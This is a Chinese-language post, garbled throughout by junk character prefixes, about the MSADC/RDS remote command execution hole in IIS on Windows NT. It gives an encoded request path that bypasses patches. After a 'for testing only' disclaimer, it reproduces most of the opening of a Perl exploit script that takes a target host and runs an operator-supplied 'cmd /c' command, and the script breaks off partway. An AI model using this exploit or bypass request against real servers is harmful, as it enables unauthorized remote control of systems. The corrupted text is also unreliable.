IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h;^H*Y&` 3M;[.b 涉及程序:
HW{si]~q Microsoft NT server
D2U")g}U DH#n7s'b 描述:
$qoh0$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
X"S-f;b# jK[~dY 详细:
%|6t\[gn 如果你没有时间读详细内容的话,就删除:
cWd\Ki c:\Program Files\Common Files\System\Msadc\msadcs.dll
PWwz<AI+ 有关的安全问题就没有了。
]w3-No !zhg3B#p 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
)CYm/dk )4[Yplo 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Yt 9{:+[RK 关于利用ODBC远程漏洞的描述,请参看:
|
JmEI9n2 b"au9:F4@7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm IEx`W;V]K Tn$/9<Q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1@ e22\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp u x[h\Tp rNdeD~\ 这里不再论述。
0I8w'/s_g9 pwiXA{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
=Me94w>G3X V/=NIeSE /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{Z529Ns 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0 > \m>mE/N QbF!V%+a's #将下面这段保存为txt文件,然后: "perl -x 文件名"
SMMV$;O{9 DNP%]{J #!perl
|C \%H R #
*u2pk>y) # MSADC/RDS 'usage' (aka exploit) script
v4?qI >/ #
"kLu]M< # by rain.forest.puppy
:'L^zGf #
n/
\{}9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,qx;kJJ # beta test and find errors!
B,@<60u _TB,2 R use Socket; use Getopt::Std;
_K4Igq getopts("e:vd:h:XR", \%args);
d)G'y JGJXV3AT print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
=F(fum;zH qjK'sge/ if (!defined $args{h} && !defined $args{R}) {
eV?._-G print qq~
i2a""zac Usage: msadc.pl -h <host> { -d <delay> -X -v }
D{Zjo)&tF' -h <host> = host you want to scan (ip or domain)
.|[5*- -d <seconds> = delay between calls, default 1 second
e|`QW|9 . -X = dump Index Server path table, if available
&\3k(j -v = verbose
x*8lz\w -e = external dictionary file for step 5
U"1z"PcV c$cb2V7, Or a -R will resume a command session
c.-/e u^| #].n0[ ~; exit;}
R]0p L `N+A8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!`u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
C*;g!~{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]h(}%fk_ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aOS:rC $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+ _=&7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a(+.rf; ?2Q9z-$ if (!defined $args{R}){ $ret = &has_msadc;
tBtG- X2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
j@JhxCe1+R uR|?5DK print "Please type the NT commandline you want to run (cmd /c assumed):\n"
6Un61s . "cmd /c ";
mA ^[S.! $in=<STDIN>; chomp $in;
\#(3r1( $command="cmd /c " . $in ;
hAPWEh^ ^8,Y1r9`$ if (defined $args{R}) {&load; exit;}
K$S:V=y%r7 8Ol#-2>k$ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5t`:=@u &try_btcustmr;
Pj4WWK X v6gfyGCJ print "\nStep 2: Trying to make our own DSN...";
;#3l&HRKH1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h0YIPB bB|UQaCl print "\nStep 3: Trying known DSNs...";
c:
/Wk &known_dsn;
`+IB;G1 6g/ <FM print "\nStep 4: Trying known .mdbs...";
K#j<G]I( @ &known_mdb;
LX%K*nlj J 3oEN'8S if (defined $args{e}){
&<!DNXQ print "\nStep 5: Trying dictionary of DSN names...";
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